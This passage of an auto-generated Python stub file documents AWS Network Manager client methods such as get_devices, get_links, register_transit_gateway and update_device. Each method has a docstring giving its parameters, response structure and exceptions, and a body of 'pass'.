'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def disassociate_link(GlobalNetworkId=None, DeviceId=None, LinkId=None):
"""
Disassociates an existing device from a link. You must first disassociate any customer gateways that are associated with the link.
See also: AWS API Documentation
Exceptions
:example: response = client.disassociate_link(
GlobalNetworkId='string',
DeviceId='string',
LinkId='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type DeviceId: string
:param DeviceId: [REQUIRED]\nThe ID of the device.\n
:type LinkId: string
:param LinkId: [REQUIRED]\nThe ID of the link.\n
:rtype: dict
ReturnsResponse Syntax
{
'LinkAssociation': {
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
Response Structure
(dict) --
LinkAssociation (dict) --
Information about the link association.
GlobalNetworkId (string) --
The ID of the global network.
DeviceId (string) --
The device ID for the link association.
LinkId (string) --
The ID of the link.
LinkAssociationState (string) --
The state of the association.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'LinkAssociation': {
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def generate_presigned_url(ClientMethod=None, Params=None, ExpiresIn=None, HttpMethod=None):
"""
Generate a presigned url given a client, its method, and arguments
:type ClientMethod: string
:param ClientMethod: The client method to presign for
:type Params: dict
:param Params: The parameters normally passed to\nClientMethod.
:type ExpiresIn: int
:param ExpiresIn: The number of seconds the presigned url is valid\nfor. By default it expires in an hour (3600 seconds)
:type HttpMethod: string
:param HttpMethod: The http method to use on the generated url. By\ndefault, the http method is whatever is used in the method\'s model.
"""
pass
def get_customer_gateway_associations(GlobalNetworkId=None, CustomerGatewayArns=None, MaxResults=None, NextToken=None):
"""
Gets the association information for customer gateways that are associated with devices and links in your global network.
See also: AWS API Documentation
Exceptions
:example: response = client.get_customer_gateway_associations(
GlobalNetworkId='string',
CustomerGatewayArns=[
'string',
],
MaxResults=123,
NextToken='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type CustomerGatewayArns: list
:param CustomerGatewayArns: One or more customer gateway Amazon Resource Names (ARNs). For more information, see Resources Defined by Amazon EC2 . The maximum is 10.\n\n(string) --\n\n
:type MaxResults: integer
:param MaxResults: The maximum number of results to return.
:type NextToken: string
:param NextToken: The token for the next page of results.
:rtype: dict
ReturnsResponse Syntax
{
'CustomerGatewayAssociations': [
{
'CustomerGatewayArn': 'string',
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
},
],
'NextToken': 'string'
}
Response Structure
(dict) --
CustomerGatewayAssociations (list) --
The customer gateway associations.
(dict) --
Describes the association between a customer gateway, a device, and a link.
CustomerGatewayArn (string) --
The Amazon Resource Name (ARN) of the customer gateway.
GlobalNetworkId (string) --
The ID of the global network.
DeviceId (string) --
The ID of the device.
LinkId (string) --
The ID of the link.
State (string) --
The association state.
NextToken (string) --
The token for the next page of results.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'CustomerGatewayAssociations': [
{
'CustomerGatewayArn': 'string',
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
},
],
'NextToken': 'string'
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def get_devices(GlobalNetworkId=None, DeviceIds=None, SiteId=None, MaxResults=None, NextToken=None):
"""
Gets information about one or more of your devices in a global network.
See also: AWS API Documentation
Exceptions
:example: response = client.get_devices(
GlobalNetworkId='string',
DeviceIds=[
'string',
],
SiteId='string',
MaxResults=123,
NextToken='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type DeviceIds: list
:param DeviceIds: One or more device IDs. The maximum is 10.\n\n(string) --\n\n
:type SiteId: string
:param SiteId: The ID of the site.
:type MaxResults: integer
:param MaxResults: The maximum number of results to return.
:type NextToken: string
:param NextToken: The token for the next page of results.
:rtype: dict
ReturnsResponse Syntax
{
'Devices': [
{
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
Response Structure
(dict) --
Devices (list) --
The devices.
(dict) --
Describes a device.
DeviceId (string) --
The ID of the device.
DeviceArn (string) --
The Amazon Resource Name (ARN) of the device.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the device.
Type (string) --
The device type.
Vendor (string) --
The device vendor.
Model (string) --
The device model.
SerialNumber (string) --
The device serial number.
Location (dict) --
The site location.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
SiteId (string) --
The site ID.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The device state.
Tags (list) --
The tags for the device.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
NextToken (string) --
The token for the next page of results.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Devices': [
{
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def get_link_associations(GlobalNetworkId=None, DeviceId=None, LinkId=None, MaxResults=None, NextToken=None):
"""
Gets the link associations for a device or a link. Either the device ID or the link ID must be specified.
See also: AWS API Documentation
Exceptions
:example: response = client.get_link_associations(
GlobalNetworkId='string',
DeviceId='string',
LinkId='string',
MaxResults=123,
NextToken='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type DeviceId: string
:param DeviceId: The ID of the device.
:type LinkId: string
:param LinkId: The ID of the link.
:type MaxResults: integer
:param MaxResults: The maximum number of results to return.
:type NextToken: string
:param NextToken: The token for the next page of results.
:rtype: dict
ReturnsResponse Syntax
{
'LinkAssociations': [
{
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
},
],
'NextToken': 'string'
}
Response Structure
(dict) --
LinkAssociations (list) --
The link associations.
(dict) --
Describes the association between a device and a link.
GlobalNetworkId (string) --
The ID of the global network.
DeviceId (string) --
The device ID for the link association.
LinkId (string) --
The ID of the link.
LinkAssociationState (string) --
The state of the association.
NextToken (string) --
The token for the next page of results.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'LinkAssociations': [
{
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
},
],
'NextToken': 'string'
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def get_links(GlobalNetworkId=None, LinkIds=None, SiteId=None, Type=None, Provider=None, MaxResults=None, NextToken=None):
"""
Gets information about one or more links in a specified global network.
If you specify the site ID, you cannot specify the type or provider in the same request. You can specify the type and provider in the same request.
See also: AWS API Documentation
Exceptions
:example: response = client.get_links(
GlobalNetworkId='string',
LinkIds=[
'string',
],
SiteId='string',
Type='string',
Provider='string',
MaxResults=123,
NextToken='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type LinkIds: list
:param LinkIds: One or more link IDs. The maximum is 10.\n\n(string) --\n\n
:type SiteId: string
:param SiteId: The ID of the site.
:type Type: string
:param Type: The link type.
:type Provider: string
:param Provider: The link provider.
:type MaxResults: integer
:param MaxResults: The maximum number of results to return.
:type NextToken: string
:param NextToken: The token for the next page of results.
:rtype: dict
ReturnsResponse Syntax
{
'Links': [
{
'LinkId': 'string',
'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
Response Structure
(dict) --
Links (list) --
The links.
(dict) --
Describes a link.
LinkId (string) --
The ID of the link.
LinkArn (string) --
The Amazon Resource Name (ARN) of the link.
GlobalNetworkId (string) --
The ID of the global network.
SiteId (string) --
The ID of the site.
Description (string) --
The description of the link.
Type (string) --
The type of the link.
Bandwidth (dict) --
The bandwidth for the link.
UploadSpeed (integer) --
Upload speed in Mbps.
DownloadSpeed (integer) --
Download speed in Mbps.
Provider (string) --
The provider of the link.
CreatedAt (datetime) --
The date and time that the link was created.
State (string) --
The state of the link.
Tags (list) --
The tags for the link.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
NextToken (string) --
The token for the next page of results.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Links': [
{
'LinkId': 'string',
'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def get_paginator(operation_name=None):
"""
Create a paginator for an operation.
:type operation_name: string
:param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo').
:rtype: L{botocore.paginate.Paginator}
ReturnsA paginator object.
"""
pass
def get_sites(GlobalNetworkId=None, SiteIds=None, MaxResults=None, NextToken=None):
"""
Gets information about one or more of your sites in a global network.
See also: AWS API Documentation
Exceptions
:example: response = client.get_sites(
GlobalNetworkId='string',
SiteIds=[
'string',
],
MaxResults=123,
NextToken='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type SiteIds: list
:param SiteIds: One or more site IDs. The maximum is 10.\n\n(string) --\n\n
:type MaxResults: integer
:param MaxResults: The maximum number of results to return.
:type NextToken: string
:param NextToken: The token for the next page of results.
:rtype: dict
ReturnsResponse Syntax
{
'Sites': [
{
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
Response Structure
(dict) --
Sites (list) --
The sites.
(dict) --
Describes a site.
SiteId (string) --
The ID of the site.
SiteArn (string) --
The Amazon Resource Name (ARN) of the site.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the site.
Location (dict) --
The location of the site.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The state of the site.
Tags (list) --
The tags for the site.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
NextToken (string) --
The token for the next page of results.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Sites': [
{
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def get_transit_gateway_registrations(GlobalNetworkId=None, TransitGatewayArns=None, MaxResults=None, NextToken=None):
"""
Gets information about the transit gateway registrations in a specified global network.
See also: AWS API Documentation
Exceptions
:example: response = client.get_transit_gateway_registrations(
GlobalNetworkId='string',
TransitGatewayArns=[
'string',
],
MaxResults=123,
NextToken='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type TransitGatewayArns: list
:param TransitGatewayArns: The Amazon Resource Names (ARNs) of one or more transit gateways. The maximum is 10.\n\n(string) --\n\n
:type MaxResults: integer
:param MaxResults: The maximum number of results to return.
:type NextToken: string
:param NextToken: The token for the next page of results.
:rtype: dict
ReturnsResponse Syntax
{
'TransitGatewayRegistrations': [
{
'GlobalNetworkId': 'string',
'TransitGatewayArn': 'string',
'State': {
'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED',
'Message': 'string'
}
},
],
'NextToken': 'string'
}
Response Structure
(dict) --
TransitGatewayRegistrations (list) --
The transit gateway registrations.
(dict) --
Describes the registration of a transit gateway to a global network.
GlobalNetworkId (string) --
The ID of the global network.
TransitGatewayArn (string) --
The Amazon Resource Name (ARN) of the transit gateway.
State (dict) --
The state of the transit gateway registration.
Code (string) --
The code for the state reason.
Message (string) --
The message for the state reason.
NextToken (string) --
The token for the next page of results.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'TransitGatewayRegistrations': [
{
'GlobalNetworkId': 'string',
'TransitGatewayArn': 'string',
'State': {
'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED',
'Message': 'string'
}
},
],
'NextToken': 'string'
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def get_waiter(waiter_name=None):
"""
Returns an object that can wait for some condition.
:type waiter_name: str
:param waiter_name: The name of the waiter to get. See the waiters\nsection of the service docs for a list of available waiters.
:rtype: botocore.waiter.Waiter
"""
pass
def list_tags_for_resource(ResourceArn=None):
"""
Lists the tags for a specified resource.
See also: AWS API Documentation
Exceptions
:example: response = client.list_tags_for_resource(
ResourceArn='string'
)
:type ResourceArn: string
:param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n
:rtype: dict
ReturnsResponse Syntax{
'TagList': [
{
'Key': 'string',
'Value': 'string'
},
]
}
Response Structure
(dict) --
TagList (list) --The list of tags.
(dict) --Describes a tag.
Key (string) --The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'TagList': [
{
'Key': 'string',
'Value': 'string'
},
]
}
"""
pass
def register_transit_gateway(GlobalNetworkId=None, TransitGatewayArn=None):
"""
Registers a transit gateway in your global network. The transit gateway can be in any AWS Region, but it must be owned by the same AWS account that owns the global network. You cannot register a transit gateway in more than one global network.
See also: AWS API Documentation
Exceptions
:example: response = client.register_transit_gateway(
GlobalNetworkId='string',
TransitGatewayArn='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type TransitGatewayArn: string
:param TransitGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the transit gateway. For more information, see Resources Defined by Amazon EC2 .\n
:rtype: dict
ReturnsResponse Syntax
{
'TransitGatewayRegistration': {
'GlobalNetworkId': 'string',
'TransitGatewayArn': 'string',
'State': {
'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED',
'Message': 'string'
}
}
}
Response Structure
(dict) --
TransitGatewayRegistration (dict) --
Information about the transit gateway registration.
GlobalNetworkId (string) --
The ID of the global network.
TransitGatewayArn (string) --
The Amazon Resource Name (ARN) of the transit gateway.
State (dict) --
The state of the transit gateway registration.
Code (string) --
The code for the state reason.
Message (string) --
The message for the state reason.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'TransitGatewayRegistration': {
'GlobalNetworkId': 'string',
'TransitGatewayArn': 'string',
'State': {
'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED',
'Message': 'string'
}
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def tag_resource(ResourceArn=None, Tags=None):
"""
Tags a specified resource.
See also: AWS API Documentation
Exceptions
:example: response = client.tag_resource(
ResourceArn='string',
Tags=[
{
'Key': 'string',
'Value': 'string'
},
]
)
:type ResourceArn: string
:param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n
:type Tags: list
:param Tags: [REQUIRED]\nThe tags to apply to the specified resource.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n
:rtype: dict
ReturnsResponse Syntax
{}
Response Structure
(dict) --
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {}
:returns:
(dict) --
"""
pass
def untag_resource(ResourceArn=None, TagKeys=None):
"""
Removes tags from a specified resource.
See also: AWS API Documentation
Exceptions
:example: response = client.untag_resource(
ResourceArn='string',
TagKeys=[
'string',
]
)
:type ResourceArn: string
:param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n
:type TagKeys: list
:param TagKeys: [REQUIRED]\nThe tag keys to remove from the specified resource.\n\n(string) --\n\n
:rtype: dict
ReturnsResponse Syntax
{}
Response Structure
(dict) --
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {}
:returns:
(dict) --
"""
pass
def update_device(GlobalNetworkId=None, DeviceId=None, Description=None, Type=None, Vendor=None, Model=None, SerialNumber=None, Location=None, SiteId=None):
"""
Updates the details for an existing device. To remove information for any of the parameters, specify an empty string.
See also: AWS API Documentation
Exceptions
:example: response = client.update_device(
GlobalNetworkId='string',
DeviceId='string',
Description='string',
Type='string',
Vendor='string',
Model='string',
SerialNumber='string',
Location={
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
SiteId='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type DeviceId: string
:param DeviceId: [REQUIRED]\nThe ID of the device.\n
:type Description: string
:param Description: A description of the device.\nLength Constraints: Maximum length of 256 characters.\n
:type Type: string
:param Type: The type of the device.
:type Vendor: string
:param Vendor: The vendor of the device.\nLength Constraints: Maximum length of 128 characters.\n
:type Model: string
:param Model: The model of the device.\nLength Constraints: Maximum length of 128 characters.\n
:type SerialNumber: string
:param SerialNumber: The serial number of the device.\nLength Constraints: Maximum length of 128 characters.\n
:type Location: dict
:param Location: Describes a location.\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n
:type SiteId: string
:param SiteId: The ID of the site.
:rtype: dict
ReturnsResponse Syntax
{
'Device': {
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Device (dict) --
Information about the device.
DeviceId (string) --
The ID of the device.
DeviceArn (string) --
The Amazon Resource Name (ARN) of the device.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the device.
Type (string) --
The device type.
Vendor (string) --
The device vendor.
Model (string) --
The device model.
SerialNumber (string) --
The device serial number.
Location (dict) --
The site location.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
SiteId (string) --
The site ID.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The device state.
Tags (list) --
The tags for the device.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Device': {
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def update_global_network(GlobalNetworkId=None, Description=None):
"""
Updates an existing global network. To remove information for any of the parameters, specify an empty string.
See also: AWS API Documentation
Exceptions
:example: response = client.update_global_network(
GlobalNetworkId='string',
Description='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of your global network.\n
:type Description: string
:param Description: A description of the global network.\nLength Constraints: Maximum length of 256 characters.\n
:rtype: dict
ReturnsResponse Syntax
{
'GlobalNetwork': {
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
GlobalNetwork (dict) --
Information about the global network object.
GlobalNetworkId (string) --
The ID of the global network.
GlobalNetworkArn (string) --
The Amazon Resource Name (ARN) of the global network.
Description (string) --
The description of the global network.
CreatedAt (datetime) --
The date and time that the global network was created.
State (string) --
The state of the global network.
Tags (list) --
The tags for the global network.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'GlobalNetwork': {
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def update_link(GlobalNetworkId=None, LinkId=None, Description=None, Type=None, Bandwidth=None, Provider=None):
"""
Updates the details for an existing link. To remove information for any of the parameters, specify an empty string.
See also: AWS API Documentation
Exceptions
:example: response = client.update_link(
GlobalNetworkId='string',
LinkId='string',
Description='string',
Type='string',
Bandwidth={
'UploadSpeed': 123,
'DownloadSpeed': 123
},
Provider='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type LinkId: string
:param LinkId: [REQUIRED]\nThe ID of the link.\n
:type Description: string
:param Description: A description of the link.\nLength Constraints: Maximum length of 256 characters.\n
:type Type: string
:param Type: The type of the link.\nLength Constraints: Maximum length of 128 characters.\n
:type Bandwidth: dict
:param Bandwidth: The upload and download speed in Mbps.\n\nUploadSpeed (integer) --Upload speed in Mbps.\n\nDownloadSpeed (integer) --Download speed in Mbps.\n\n\n
:type Provider: string
:param Provider: The provider of the link.\nLength Constraints: Maximum length of 128 characters.\n
:rtype: dict
ReturnsResponse Syntax
{
'Link': {
'LinkId': 'string',
